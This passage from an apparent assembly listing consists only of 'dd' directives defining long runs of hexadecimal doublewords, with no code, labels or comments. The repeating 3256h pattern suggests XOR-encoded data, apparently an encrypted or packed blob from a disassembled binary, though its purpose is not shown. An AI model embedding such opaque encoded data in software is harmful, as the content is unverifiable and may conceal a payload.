0AA73539Dh, 57B8DB56h, 2C473256h dd 7D7CD3A2h, 1371997Eh, 993ACE03h, 4275B1A3h, 5DBBB859h dd 2ED13256h, 0D6D74887h, 0CA83E995h, 0C1595236h, 7BB13256h dd 45D0B1C1h, 4E989099h, 0A35D7345h, 0A45DBFBAh, 0DCA52704h dd 42D16DACh, 0D5B13247h, 0EFDDDA0Fh, 9F4057DEh, 4121A249h dd 8A821Dh, 0AE373D29h, 36B13256h, 0ABB1DA37h, 54EB3256h dd 6C85BCh, 75A2DB51h, 0F2E53256h, 0D809E854h, 5ECC4CEBh dd 0DF174C92h, 807B831Ah, 0C55852C2h, 97B13256h, 0F6C5D01Dh dd 8B148BFAh, 0AFF61146h, 0A16F3744h, 57B126DDh, 0ABBFDA56h dd 0C07E3256h, 6B6BB7B9h, 1838C448h, 8246AFCDh, 5249530Eh dd 0AEB13AD8h, 553C3D56h, 0CBB13256h, 2DF4F537h, 0EAB13256h dd 75A2BC59h, 34BE3256h, 5DB1325Bh, 0AEB13ABFh, 5DD73B56h dd 0C0C36DC2h, 5ED15213h, 0EF5953ACh, 0E4B13256h, 0C915CA84h dd 18765308h, 0AEB132AAh, 9782CB56h, 0ABA0BC59h, 0D9583256h dd 3DB13256h, 0FD1DF6F8h, 0AC2D5AD4h, 3B357B30h, 47D12CDDh dd 57B1325Eh, 9B8D1D2Ah, 15AB5A46h, 2ED424EFh, 0F7765307h dd 0BD5B9C25h, 5DB13257h, 0AEA8B359h, 43583256h, 0C3B13256h dd 0B581DEA5h, 0C5C19FFh, 0F5BE9692h, 12AC8FDCh, 3B83D74Eh dd 3E21C9D7h, 57BDB759h, 0AC583256h, 68B13256h, 0E3B68D53h dd 8E31A6A4h, 47353DBEh, 0A4B13255h, 0AEA2DB16h, 0E6E63256h dd 585B0FB5h, 0C8682B80h, 8918DA3Ah, 81A829D1h, 0BD383DD5h dd 52B13256h, 0AEB133D5h, 0AC31CB56h, 66353DBFh, 2CB13255h dd 0EABEDB16h, 29D3256h, 1C1C2156h, 632EB3EBh, 16ED11A1h dd 0BC4AB2F1h, 0A81FB659h, 95493256h, 0EA9DB159h, 9DD13256h dd 0BAB13245h, 0DA1ACFA7h, 0F7572AC5h, 20990674h, 0CBA3DD5Ah dd 8F0E072Dh, 0EAB139BEh, 92631456h, 11B9A65Bh, 0ED5E6836h dd 49315309h, 5258CBA6h, 0ECB13256h, 0A9B2B18Fh, 0E54AB330h dd 14353DD6h, 0DAB13255h, 3C7B8D59h, 0B11CB055h, 58D135B2h dd 7930E0E1h, 0AE2DE795h, 62BE7237h, 75B13258h, 0A251B336h dd 52CAFD22h, 0AEB132DEh, 0AC315356h, 0B1353DB4h, 0B5B13255h dd 0F388B9EDh, 1456B83Dh, 0B552C9D6h, 5DB3E6D2h, 2FD7CB56h dd 585255ADh, 0ABB3CED2h, 0D0353D56h, 8AB13256h, 1449B930h dd 5341D1D6h, 5DB13244h, 9F2AF31Fh, 0E59540D8h, 0E69B8F4Fh dd 40A86864h, 61D1300Ch dd 8E3153A4h, 67353D26h, 0B4B13254h, 0AEB13253h, 63C857D6h dd 0ABB4DBAFh, 0F9583256h, 8C9F337Ah, 7AD12CDDh, 0BAB131D6h dd 5C71B256h, 0AEB2B259h, 0A7313256h, 483153ECh, 2E31CBAEh dd 0A7353DEEh, 8DB13257h, 0BAA9BF59h, 0D0BE3256h, 0AEB13244h dd 57B13FBFh, 0C827F756h, 71EDFD5Ch, 30B4E4F1h, 4B31FE57h dd 9F353D53h, 0A1B13257h, 0A19C0CD6h, 57B029D2h, 0AA343D56h dd 2CB13256h, 0E5D90CD6h, 75B039D2h, 3BD75256h, 0D624A98Fh dd 0CEF15381h, 0C60B5436h, 6A3A5491h, 574E5337h, 0ED5B9C25h dd 75B123BFh, 0F0266056h, 4B214755h, 542BC764h, 0FBB281E2h dd 20D7C66Fh, 0D5B8DB48h, 75F03256h, 32588FA8h, 3AB388BEh dd 3CD1CAB1h, 2F4AB330h, 0EE353DBEh, 0A4B13256h, 0D5B13DD1h dd 0EABBDB56h, 642C3256h, 567F09FDh, 0FDCA7F6Bh, 47AFB930h dd 57B13244h, 0CE06AD46h, 0C5EE7010h, 2AE17537h, 1023AF3Ah dd 5D31B725h, 0DCD752A6h, 0CF39889Dh, 0D64AB330h, 0DE353D96h dd 3CB13256h, 0EAB13246h, 46568A4Ah, 12929140h, 697345F8h dd 2EEDF95Eh, 0BEE4C736h, 0ABB13245h, 0F66D5813h, 2118F2E5h dd 0A7B630F9h, 1BF0BC88h, 0A234F979h, 441D88C4h, 803A5251h dd 0F0CAF1D7h, 88D042ACh, 16F4BBAFh, 15D05336h, 7840B330h dd 203253A1h, 2BBE33AAh, 57B137E4h, 0ABBEDB36h, 74763256h dd 63455DE3h, 8F4BFA95h, 0C9068F42h, 0E5D76309h, 0CFE91DD4h dd 64BC88DDh, 21BE35B2h, 0D5B13257h, 62BE62AEh, 75B1325Eh dd 296FB336h, 3CF00632h, 0C2B0DDh, 0D6D135BCh, 5E8DCFA4h dd 0D5BBDA08h, 1A5C3256h, 0A56E9682h, 25B5D0EDh, 3CEFF8DDh dd 52810E6Fh, 18333D0Eh, 53B13253h, 0CC6088DDh, 0BA4935B2h dd 75B123BFh, 938FCB56h, 0C422C48Eh, 0C48124F8h, 9CEF05CFh dd 293AA58Ch, 0D25B9C25h, 33095436h, 3C52B3EEh, 0DBE03BE4h dd 52810E6Fh, 0AEB133D5h, 0F49CE56h, 0AEBDBD59h, 0D3583256h dd 10B13256h, 8C8EC74Fh, 3ACA89h, 5A5B9E4Ch, 0B433B1AEh dd 43B6D8FAh, 44F38B36h, 62BE53D0h, 0DD38538Ch, 75B6BB59h dd 35BE3256h, 5DB13257h, 0BEF6BBAFh, 57B13EBFh, 0D7A92B56h dd 0E8D84784h, 0E2D8D47Eh, 705862B0h, 36B13256h, 0D8C0FA96h dd 0C2B0DDh, 0DC4835BCh, 0F349024Ah, 0D5BDB459h, 0ED583256h dd 3BB13256h, 5EC37C80h, 2387212h, 3D58CA5Eh, 58B13252h dd 0ABB13AD0h, 8BE25256h, 0DD808D30h, 8DF4F537h, 0BAB13254h dd 5DB13CBFh, 0CA58BA56h, 0D07974EDh, 8181A30h, 3C95224Ah dd 0EAB1327Eh, 75BEB759h, 0B0583256h, 42B13256h, 77481313h dd 0FD9558EBh, 53F4F52Bh, 0D5B13257h, 0EAB134BFh, 0B4AE9356h dd 46645547h, 0F1AB88DDh, 2D4435BCh, 0BD1D28D4h, 23BE2651h dd 0D5B13249h, 0EAA8B659h, 61583256h, 0CDB13256h, 97B8FD2Bh dd 0AA0FDFC5h, 40E8C7BDh, 1CE7843Ch, 5C669AB4h, 8C495261h dd 0F694C3D7h, 0AAF6BB37h, 5E49B1AEh, 0AE8DB759h, 37443256h dd 0ABA1BF59h, 0DE583256h, 0E2B13256h, 0C22E4CBh, 8CB784CCh dd 990B409Dh, 0CF9A087Eh, 0F9C2B091h, 0ABB335BCh, 3C493256h dd 0EAB13274h, 75B0B759h, 0B5483256h, 5DB133D8h, 5632CE56h dd 4C3C3D54h, 0CBB13254h, 2CD3F4D7h, 283142B7h, 8325371h dd 3EBE32AEh, 5DB132FAh, 0E8073DAFh, 56383D57h, 52B13256h dd 0D5319BAAh, 6FBE3256h, 75B13201h, 0BAB138BFh, 0E9868D56h dd 7B543FE8h, 176A0D51h, 0ABBBDA36h, 0B3A63256h, 0BF5D142Eh dd 0F91829E1h, 0BAB1B959h, 3BEA3256h, 0DE89FAD7h, 5259B137h dd 0ABB6B759h, 5ABE3256h, 0EAB13257h, 758FDBA3h, 0B5D13256h dd 5DB13FDBh, 0AEB9DB56h, 0BE5B3256h, 4543F9E0h, 0F8D03BC6h dd 0EAB132A9h, 7059B1AFh, 0BAABB059h, 0D2BE3256h, 0AEB13242h dd 57B13DBFh, 8E4B8756h, 0B88FE754h, 0E04B4ADCh, 0B49F39A6h dd 0BAB169BFh, 5DBBDB56h, 494C3256h, 7A7507A8h, 8F340B99h dd 0C7393D05h, 0E5B13256h, 75B13EDDh, 0BAB6DB56h, 0EEA3256h dd 35D2CA1h, 242BB9EFh, 42B6D8F8h, 0D5B13247h, 3DDF53CFh dd 0E68606C9h, 0CE9B189Eh, 5E4ABA9Dh, 9DB5B962h, 57BDBD59h dd 0AC583256h, 8B13256h, 1EE027C7h, 8CEAB08Dh, 0BAB132FFh dd 21343DD6h, 0A1B13256h, 57B13FDFh, 0ABB9DB56h, 0AC423256h dd 38E0796Ch, 0B3B2FFEEh, 39D0C736h, 5E4D3796h, 441F41D4h dd 5F303D51h, 0A4B13256h, 0D5B130D7h, 0A2D05256h, 75B13EBFh dd 4E46CB56h, 954C8E47h, 9E4F5A32h, 5FF6BB54h, 0A7F6BBAFh dd 0D5B123BFh, 15569656h, 79990177h, 52300E78h, 379BBA32h dd 9D5811BDh, 37B13254h, 8BA51CEDh, 800E526Ah, 0E58CC8B5h dd 14D0C0E1h, 0BC458836h, 0AAD06F1Dh, 689AC78Eh, 0AB69C5A3h dd 0ABB126BFh, 75B9E156h, 868BE22Eh, 0E2662469h, 7F761CEFh dd 96DF9F5Dh, 0AB71B19Ch, 243331A3h, 57B6D8F8h, 0D5B13CBFh dd 0B28F7456h, 5F344D94h, 0C0A18073h, 15C9A8D5h, 66063D36h dd 0DED0C7DCh, 2FBE3A11h, 0D5B1324Fh, 0EAA2BF59h, 7B583256h dd 0E5B13256h, 98287A87h, 85E64AFBh, 15110095h, 0A7F6BB7Fh dd 0D5B13BBFh, 0EFE45856h, 62809091h, 21584A44h, 52B13257h dd 0AEB133D8h, 9782CE56h, 0ABB135BFh, 9BFCBC56h, 41D0BE09h dd 7AB074DCh, 0BAB12BD9h, 5DA5DB56h, 0EC8A3256h, 0BE73D8D4h dd 0EEAF1C48h, 4157CFECh, 2D085C7Dh, 89D1DA30h, 0DBD1CB36h dd 0DD195337h, 0AE6AB759h, 58583256h, 28B13256h, 46F12D8Ch dd 3BE72A75h, 311DB2B7h, 7CB2979Eh, 45373DAEh, 47B13256h dd 57B13245h, 20EF453Ch, 9C0A7FABh, 4DFC23D1h, 0CCF2357Fh dd 391B9354h, 0E6493096h, 0AEB13257h, 586A39AEh, 0ABB179D2h dd 50BE5256h, 0EAB13254h, 0BC306807h, 911365DEh, 152BB837h dd 47B6DB85h, 57B1325Bh, 0A3E2ECE7h, 0ADCC0476h, 6A1A5A51h dd 7452B240h, 0BAB13ABFh, 0E4D5456h, 0A5B10DD0h, 5C5852C8h dd 56B13256h, 5C8F6B5Ch, 41C3AD73h, 144826B4h, 0DAD1F155h dd 425AB330h, 0CFD05232h, 5FF6BB37h, 0ABB13CBFh, 0B9EE5C56h dd 0DDEC3164h, 4C124694h, 332B9627h, 0B4483E11h, 0AEB132C0h dd 57A6B859h, 0B9583256h, 45B13256h, 96EF1C08h, 0F78075EEh dd 0DF749361h, 9B5FE23Ah, 0CE69C5A2h, 57B13CBFh, 70273F56h dd 0DFC89162h, 0D6C8AFEBh, 1474310Ch, 0BAB1CD73h, 5DA1DB56h dd 0F99A3256h, 0DAC81ED2h, 0D8BBBDC1h, 0A3A80FF6h, 2C9A874Ah dd 75A0B859h, 0B6583256h, 0C4B13256h, 0FEBA702Ch, 0D879EC92h dd 5C4E1D43h, 0D43B3D8Eh, 1FB13256h, 80B3F2D5h, 53B975DFh dd 5DB13246h, 0B9FEDBA3h, 0E9EDDB46h, 0B786A533h, 0B57F55F2h dd 0E5BD75DFh, 75B133D8h, 0DA49CE56h, 0E953FFD6h, 0A1D0534Ch dd 57B133DFh, 5378CB56h, 2DE4CE95h, 0E158DEDDh, 0BAB13256h dd 35E4A6CEh, 25645E8Eh, 0BA582A79h, 0B8B13256h, 32643D49h dd 0B424045Eh, 497D5A84h, 15F53687h, 3951C02Bh, 0DEBECE92h dd 0AEB13246h, 57B139BFh, 69C73556h, 0FFF95E2Bh, 0ADC371FCh dd 0FED75236h, 0F46B39Dh, 3CC4CA28h, 0AEB132BEh, 0BD306856h dd 0AC5BD538h, 0D5B0B759h, 13483256h, 72313DAFh, 0DAB13256h dd 0E2BE77E1h, 143A53ACh, 505B9E5Ch, 0A47801AFh, 0D5B13CDEh dd 8BD15256h, 75B137BFh, 154E4756h, 0DED0E820h, 2ABE3269h dd 57B13666h, 0CA5DB836h, 3CD135DDh, 0EAB1325Ah, 41352D68h dd 613691CCh, 9365F081h, 0CF4F8D59h, 58BD47A9h, 0ABB121D5h dd 0D5BFDB56h, 95333256h dd 2A9F7313h, 0DB69F87Ah, 0C3C61829h, 0CEB947A9h, 57B7B959h dd 23BE3256h, 0D5B13256h, 8B46B930h, 1659C706h, 53B1325Eh dd 5DB13250h, 6D5CC40Ch, 97BA1E9Ah, 0ABBBB759h, 5E493256h dd 0CD58CA51h, 8DB13256h, 42A5F5D5h, 0A24E4CBFh, 2BBE52A9h dd 57B13258h, 0ABB13BBFh, 0D1904456h, 0FEB593C2h, 7AD04781h dd 0BAB133DFh, 1838CE56h, 254452AAh, 224E53AEh, 0A53F3D5Ah dd 0B5B13256h, 77DC5D7h, 0FEBE3949h, 0BAB13256h, 55C4CD37h dd 0AEB137BFh, 4C5F6D56h, 9C4E6380h, 0D25DDAA3h, 0E6583256h dd 4AB13256h, 0AC734BFDh, 7F61022Ah, 0A57B9C53h, 77353D96h dd 53B13256h, 0D5B275BFh, 0FE58CE56h, 92B13256h, 0D7176F96h dd 1B3B29D4h, 0A826CC6Fh, 0A1FF2013h, 20BC552Fh, 5DBECE13h dd 0EAB13257h, 7AB60BA3h, 0BAB229D4h, 4E585256h, 0F0B13256h dd 215F32EAh, 0E421B65Dh, 0A7D4D902h, 55714B9Fh, 0BE30EA7Eh dd 0CB7E46CFh, 0A1F4CD37h, 0AEB123BFh, 0B7B2F556h, 7CE1A683h dd 0F805CE37h, 0E2CC3429h, 0A32C66Ch, 3EBE3252h, 5DB1324Fh dd 0A2CEB1AEh, 59353D56h, 57B13256h, 0D5B16ABFh, 53D75256h dd 9E016E73h, 454E8A37h, 4C58CDA9h, 1CB13256h, 8870047h dd 0DB059332h, 12BE1395h, 914036BAh, 75B13CBFh, 9F4EF956h dd 612441A3h, 6F12CE80h, 0EE89B87Bh, 0ABB13253h, 0D5B134BFh dd 8346E656h, 86AE82F9h, 0BAB4DBFDh, 8F7E3256h, 47D18880h dd 0A84ECC88h, 0BBCEB1AFh, 0B5353D53h, 0E5B13256h, 75B133D5h dd 0C532CE56h, 0D8BE3446h, 0AEB13228h, 727CB236h, 0ABB121BFh dd 0F21E6456h, 0CB9298DCh, 945423B9h, 4A2C589Ah, 81E4D9F2h dd 254D7337h, 0D7D13611h, 4D305D8Dh, 0E847BCAFh, 0E6EEB937h dd 75B0B159h, 53443256h, 5DB133CCh, 0AEB13CBFh, 0F4867656h dd 53C27084h, 1BDEDDC9h, 6119294Eh, 0FE443611h, 0DCD13E09h dd 0D6D7E4DDh, 0DE5853A8h, 0BEB13257h, 0ABB13251h, 0FF75EEF3h dd 3B94C18h, 75B1325Ch, 0AF31F2C2h, 6A63E42Ch, 0E93A4827h dd 83ACE52h, 0AA3D3D5Ah, 2CB13256h, 0E5B96D6Dh, 75B18BD3h dd 3FBEC756h, 5DB13257h, 2DBE60AFh, 57B1325Ah, 0ABB7BB59h dd 52BE3256h, 0EAB13256h, 89B565DDh, 4FA1677Dh, 0B4A56755h dd 0AEB1325Fh, 3ACF1F9Bh, 4230AD9Ch, 55BE5245h, 0EAB13253h dd 1276B330h, 0BABBDB8Fh, 40EE3256h, 38CAD9D4h, 9471FFDFh dd 0A7EEB937h, 0D5BDDB36h, 45BD3256h, 0B6C06C6Bh, 790171E6h dd 5058F0B7h, 0A2B13256h, 7FD5BA18h, 4D746A51h, 0BAC080FAh dd 136B1937h, 0C8568D36h, 39D06634h, 74937BDh, 0AE3EDBAEh dd 0DDBE3256h, 0ABB13258h, 0D5B13BBFh, 3107CB56h, 0D4BF4E42h dd 0A958B368h, 74B13256h, 41A1BF3Eh, 7870A7C0h, 0ED4484BDh dd 0F9AC2B04h, 0AD3ACC56h, 0CFD75252h, 5D3BF177h, 51EEB937h dd 0AEB0BB59h, 7C493256h, 28483609h, 0C45837BDh, 51B13256h dd 0D6D026D8h, 51B1ED02h, 0A0632617h, 0D6958258h, 9831CB36h dd 21B253A5h, 0D25502E3h, 0EAB13CBFh, 0A2E67656h, 0C8E68B88h dd 0BCC3FF85h, 0A1E48D35h, 57B13ED3h, 0AD3D3D56h, 0DAB13256h dd 0EAB132D2h, 65CEB156h, 0A2343D55h, 3DB13256h, 0AC383DAFh dd 0DCB13256h, 52F05380h, 0D5B134BFh, 0D5A10F56h, 5E37857Ch dd 0E638C78Fh, 0E5493357h, 514ECDA9h, 8E0E3D36h, 0ABB3BE59h dd 8EE23256h, 0EAB48B37h, 0FFBE3256h, 0BAB1324Fh, 5DA2B259h dd 0A0583256h, 0C6B13256h, 594ADBAFh, 66BA91E8h, 5DDF89Eh dd 151AC1A4h, 0BAA2DAAFh, 0B65C3256h, 0A889852Ah, 7ACA8A86h dd 0C62498BAh, 48BD3FB9h, 0B2E860A4h, 893DDB37h, 0B5D1CDA9h dd 5DB126DEh, 0AEBEDB56h, 9D113256h, 0DA2E48A2h, 0EFD1804h dd 0F4CA01ECh, 145782DEh, 0BABBDB37h, 0E3623256h, 84D83AC4h dd 0FA815D67h, 0ABBFDB9Fh, 0C4B33256h, 2F70B9F4h, 8C4C6D13h dd 7545Bh, 52B12294h, 0AEB133DBh, 0ABE4CE56h, 0FCD1DEDDh dd 0D5B137BFh, 365FB456h, 7AEE5711h, 0BAB134DDh, 5D353D56h dd 0CFB13256h, 57B13FBFh, 6EC31B56h, 0DF2B97DEh, 9DAAA7C6h dd 0B132857Fh, 0B5D152AAh, 0DEBEF3E9h, 0AEB13256h, 37D0CB37h dd 0BE3C3DAEh, 0DAB13256h, 0EAB13DD8h, 75BBDB56h, 66DB3256h dd 0F4718175h, 0A9B39D9Dh, 57B132BEh, 41306856h, 0D25BDE24h dd 503ACEAEh, 725B9E5Ch, 0BABDB759h, 5A583256h, 6B13256h dd 0A745EA51h, 62825AE3h, 0D58EB1AAh, 0E93EB659h, 7B583256h dd 0AEB13256h, 0FD4F6A6Ch, 3FB53E88h, 0A8A14F08h, 42B6B9C6h dd 0D5B1325Bh, 0C9D0A612h, 4115E9F0h, 0D767ED2Ch, 51C4CDA4h dd 3347B336h, 58E8B211h, 0A4D0F2E9h, 0D5B126D2h, 0EABEDB56h dd 31A73256h, 0FBDDD64Ch, 0F80E41C1h, 8CF4E4B1h, 5FC4CDBEh dd 0ABB138BFh, 0BB8BA856h, 496EDF0Ch, 25D7CF6Ch, 0BAB126BFh dd 0C7B0D256h, 0C691C838h, 5A5D4C1Ch, 8DF9EA6Dh, 0A28EA1AAh dd 0E9F9DACBh, 7E493256h, 0A1343D96h, 0A5B13256h, 0AB5835DDh dd 89B13256h, 4E80B2EAh, 0D5B110BFh, 213A5256h, 22F715E8h dd 7D32536Dh, 0B4D05242h, 514ECD1Fh, 57B8B059h, 0CDD13256h dd 0DA6AEFECh, 63D0CDE1h, 0F4BECE13h, 0BAB13257h, 51C4CDAFh dd 0A6C4CDA3h, 57B13BBFh, 47294556h, 0FD52F431h, 0DD4E954Ah dd 75B120BFh, 0B0D14956h, 6AD42C18h, 55F79E0Ch, 0A7C3D007h dd 435A7AD5h, 0D5B13098h, 0E57139AFh, 75B125D2h, 0BD383D56h dd 3DB13256h, 11BEFADDh, 2D585385h, 0CBB13254h, 0B440B8AAh dd 1F4D77DDh, 0F7BE356Fh, 0BAB1303Fh, 5DBDB259h, 25BE3256h dd 57B13250h, 0ABB1B859h, 904E3256h, 9532C7AAh, 0F1BE3252h dd 0BAB1327Ch, 51CEB1AAh, 0B1353D56h, 58B13256h, 0ABB133DBh dd 0B758CA56h, 8AB13256h, 0FB33FAE9h, 0BAB6DB64h, 0B14B3256h dd 0D04D919Fh, 0A80953F8h, 0A44ECDA9h, 0D5B133D6h, 0EF08CE56h dd 7AB13256h, 0BAB126DDh, 0D6D75256h, 0AEB8DA9Eh, 7B443256h dd 756B9CEh, 8E546DEBh, 8A1AC137h, 0F468B930h, 4E9A34B9h dd 47585301h, 0A14ECDA9h, 57B13ED1h, 0AD3C3D56h, 0DAB13256h dd 0EAB132DFh, 65CEB156h, 0C5353D53h, 0B4B13256h, 0AEB13245h dd 6DA81B87h, 5C587F3Dh, 4877CB32h, 0D039E622h, 15EC6922h dd 0B54A8559h, 5DB132D3h, 0D1325356h, 0D2BE3446h, 0ABB13229h dd 0D5B138BFh, 0C9FB0556h, 0E40DB7D7h, 0B561D790h, 5DB13DD0h dd 0AEBBDB56h, 3AA73256h, 4A358864h, 0F0E90EBh, 0AD3ACB17h dd 75BBDB52h, 0DD303256h, 0CB5D8B13h, 9569E692h, 58BD6DDDh dd 0ABB133D3h, 358CB56h, 8AB13256h, 25888B30h, 7A063D36h dd 1A3A5337h, 0F13ACB52h, 57A0DB5Ah, 165A3256h, 0F54AF5A2h dd 4DA89E35h, 0F036CFA3h, 53277D34h, 5DB132C3h, 0AEB134BFh dd 9E8CE256h, 2085CBC4h, 5E493611h, 13D13E09h, 75B2B059h dd 31D73256h, 29A53A1h, 4532CB52h, 0B7305253h, 0FDE3AB42h dd 0D5B122BEh, 0FCB6B456h, 0C2143D39h, 0B5666CBDh, 0B1F1C04Bh dd 0AEBEDBB9h, 5943256h, 9C399520h, 72D88DD1h, 0AE122353h dd 0F6D06887h, 0B5B22229h, 5DB106D3h, 47D15256h, 57B13242h dd 72E0124Fh, 0EA3CA3F3h, 3847BBD7h, 0E0F98F41h, 0FF699C55h dd 0D4BE53AAh, 0AEB13255h, 364E8559h, 64305217h, 0DC51BC10h dd 3A58C30h, 9C681937h, 0BAB1325Bh, 8B29833Ch, 7BE70676h dd 0F75CA77Ch, 0AAEDBBA1h, 57BE5257h, 0EAB13241h, 75B123BEh dd 801D1C56h, 26C3FDD6h, 9C879D69h, 8B6B9C83h, 0A4EE12A5h dd 0D5B130DFh, 8B40B956h dd 8A4ECDEEh, 0BF08CEA9h, 0B4B13256h, 0AEB1325Dh, 0CF216581h dd 0D9A6A339h, 3C0567C5h, 0EAB13246h, 23EC828Bh, 744EFCDAh dd 0F2928A3Eh, 5A9CA15Ch, 0BE4D99A5h, 544ECF07h, 0D5B126BFh dd 3190A556h, 0ACD018EFh, 60ABA8C3h, 9E563A76h, 0BED6C58h dd 9E4953B0h, 8C65B236h, 4CF565EEh, 0E2735367h, 60323D56h dd 53B13256h, 5DB13246h, 73888505h, 48F995E0h, 0EA37BF78h dd 0C763E1BFh, 0EAB9B059h, 0FDBE3256h, 0BAB13254h, 3DE45336h dd 0B850B330h, 367BB9F4h, 2844DEDDh, 0D258CE92h, 0B7B13256h dd 8C16EFE6h, 32BE0C61h, 5DB13242h, 0AEB13DBFh, 75AD356h dd 0F8224232h, 2569E1B9h, 0EAC169FFh, 7D303D36h, 0B5B13256h dd 5DB130D5h, 0A1D05256h, 57B122DDh, 0ABBADB56h, 234F3256h dd 9BAE23FFh, 0C1BE2A84h, 0B2F4B9A0h, 51F409AAh, 0AEFDB059h dd 5F583256h, 0EBB13256h, 54F2FD61h, 0D1687BF3h, 0F2BE2213h dd 0BAB13260h, 26068836h, 25D765BBh, 1276538Ch, 0ABB132AAh dd 0D2333D56h, 0E5B13256h, 75B133DBh, 9B58CB56h, 3DB13256h dd 0AEB7B859h, 0A0303256h, 0AC2C1CEFh, 0D05E90EFh, 0AF765367h dd 75B133AAh, 0BB58CE56h, 0A8B13256h, 0A6303D37h, 58B13256h dd 0ABB130DEh, 5ED05256h, 61BECE13h, 75B1325Ch, 0B5EB6536h dd 5DB132D6h, 47785356h, 57B13258h, 3E8587B2h, 12A8BE81h dd 116A09D0h, 79733382h, 0B5E4CB56h, 5DB133DFh, 423ACB56h dd 57B123BFh, 365D1C56h, 3CCE0444h, 0FB4D5E67h, 3ED66582h dd 39487ABAh, 5758CE92h, 0C2B13256h, 0FF551416h, 4ED04C8Fh dd 5BBE5227h, 0EAB13251h, 75B0B059h, 52443256h, 5DB13256h dd 75BB30Ch, 0ABB6D8A7h, 0AE3B3D36h, 6CB13256h, 0AE5AF36Ch dd 1426DCD6h, 0BABDDA36h, 15DA3256h, 0B1152635h, 0ED6454FCh dd 14D77C3Bh, 54EBB81Ch, 0F02C491h, 0BC825350h, 423A5436h dd 55338930h, 476A0137h, 57B1325Fh, 0BCE8C7BDh, 62E7843Ch dd 16ECBBB4h, 75B0BA59h, 31483256h, 0B71D38ECh, 0AEBBDB51h dd 2DED3256h, 0CA2DBB61h, 6E1AA3CDh, 0E5B10DD5h, 75B352D2h dd 8532CE56h, 8343DA9h, 47B13256h, 57B1325Bh, 171BEFD3h dd 0A670437Ah, 776B9BF7h, 6176B1F6h, 0BAB122BFh, 3FCB8B56h dd 0B606EE68h, 414298ACh, 22AFB835h, 0DD313D93h, 0E5B13256h dd 75B130DBh, 53D05256h, 0A24ECDE6h, 0AEB121BFh, 86047956h dd 0DC824410h, 0C69E067h, 0DCD21098h, 7809A018h, 0BAB54DD5h dd 5D85B659h, 0A2583256h, 84B13256h, 9D76BB96h, 0B06CFC4Ch dd 69D97762h, 7AB13E29h, 0BAB12BD2h, 6458C756h, 47B13256h dd 57B13258h, 6275A37Ch, 0D120D83Dh, 0AD7EC9D2h, 304EA7A8h dd 3FBECAAAh, 5DB13253h, 5B40B836h, 4376B137h, 0ABB0BD59h dd 3C483256h, 154ECD6Ah, 74303DAEh, 43B13256h, 58A14DD5h dd 0AE3FB659h, 52583256h, 0CDB13256h, 0D4CD8F75h, 0ECA14DD5h dd 7510B759h, 3BD13256h, 7C3234A7h, 47D0CB49h, 57B13245h dd 0D335447h, 396D7FD2h, 1F96329Dh, 8E5B472Bh, 0FB14CB73h dd 5DB123BFh, 5A5BF656h, 3037F90Ch, 1E638E26h, 3A56A684h dd 0AD3A6C11h, 74343D52h, 43B13256h, 52BD6DDDh, 0AEB133DEh dd 8658CE56h, 0CBB13256h, 1D305436h, 61D78014h, 65595399h dd 0EFB13256h, 0B177246Ah, 81E406A3h, 0F3B8B3E9h, 0CB345964h dd 0B5D06D37h, 8B4B8D59h, 7AB575DDh, 0BAB138D1h, 0DDBE5256h dd 0AEB13256h, 37D05336h, 0A7EEB937h, 0D5B0B159h, 3483256h dd 75B13201h, 31D0CE36h, 0DCBE3611h, 0AEB13258h, 57323D36h dd 0A4B13256h, 0D5B132DBh, 0B53A5356h, 75B6DB5Ah, 0F0333256h dd 0DF598DD6h, 0F19AC75Eh, 0DBBEC752h, 0ABB13257h, 0D05AB1AFh dd 0EAB0B659h, 0F6483256h, 0B5B22229h, 5DB13CD3h, 0C8D1CB56h dd 16D0EBDDh, 14AC8836h, 0FED038B6h, 0E2343D8Fh, 7AB13256h dd 0BAB130DEh, 52D05256h, 0AEB125D9h, 57A3DB56h, 3D7D3256h dd 5F496AB2h, 0FDEA3453h, 593BEBDAh, 0A64AD191h, 5CB06EDFh dd 0AEB8B759h, 0DDD13256h, 0FE658BB3h, 20D06EDCh, 154ECDEEh dd 72393DA9h, 0DAB13256h, 3D2BD7D6h, 0AB085337h, 58B13256h dd 0ABB139D4h, 0D5B7DB56h, 0F9A3256h, 0F3591135h, 30BE99A5h dd 5DB13258h, 0AE3B3D36h, 58B13256h, 0ABB132DBh, 48585356h dd 8A4ECDABh, 2E7AB905h, 32BE5337h, 5DB13251h, 0C8D05236h dd 0DCD0F3DDh, 6244CE13h, 0D5B134BFh, 0FBA75356h, 0B62C47B8h dd 0BAB8DBAEh, 557A3256h, 9C66B97Eh, 77DBF9Ah, 0ABB4DB36h dd 37493256h, 8BEF1E05h, 75BEDB07h, 87A53256h, 0A16637B3h dd 36533504h, 4796C727h, 2FBE614Fh, 0D5B1324Ah, 0EAA7B559h dd 64583256h, 24B13256h, 49F4CA7Fh, 443F0B60h, 0A91A3C70h dd 866CB447h, 0D5B1DAAFh, 6BEB3256h, 9F45C9BCh, 0BAA5DB51h dd 45603256h, 98FCD492h, 7270D9D6h, 80926611h, 0B4C1D0F9h dd 6ABE6E71h, 75B13251h, 3AEB6236h, 52D0CBB0h, 0AEB137D4h dd 0DD495256h, 26BE53B9h, 0D5B13251h, 213A5436h, 0F8D0B4E1h dd 501C27CCh, 0AE315251h, 5C305422h, 0EFD0561Eh, 0ABB13232h dd 825AB236h, 0EAB121BEh, 98FB056h, 0FB5B89CEh, 7E55233h dd 3401B67Dh, 0F3319B61h, 0F360B930h, 0D5BADB37h, 14883256h dd 67F434C1h, 0DDC8C418h, 5882DA5Bh, 254D3256h, 968ACB5Dh dd 0AB22DBAFh, 0D8583256h, 32B13256h, 8033BDC9h, 0DB961E3Ch dd 175985FAh, 47B57955h, 57B13250h, 8695F113h, 148A46F9h dd 0EA06B059h, 79583256h, 0CFB13256h, 0F00A53EAh, 0AFFAB848h dd 585FB885h, 0ABB136D3h, 8BE15256h, 0FAFA3137h, 75B8B159h dd 0B5D13256h, 5DB132DBh, 95D0C756h, 45333D97h, 0CBB13256h dd 7B57CBEEh, 0B878B7Eh, 9CD02EF4h, 0BAB13251h, 5D11DBAEh dd 474D3256h, 57B132CCh, 0ABB126BFh, 860B4956h, 0FF91CF72h dd 0C38A8CCh, 2384B756h, 83D886FEh, 0DB2BBF4Dh, 0ABB6D934h dd 0ABB0B959h, 2A4D3256h, 0EABCDB85h, 0DD4E3256h, 0EA5AD33Ch dd 0E224232h, 4769E1B9h, 57B1320Ch, 0E85BB336h, 0B3D1FB39h dd 52DCDAD7h, 673E3D37h, 0DAB13256h, 5DB13BBFh, 0CBDEFE56h dd 45F3518h, 0CAD1EACEh, 4E2BBF37h, 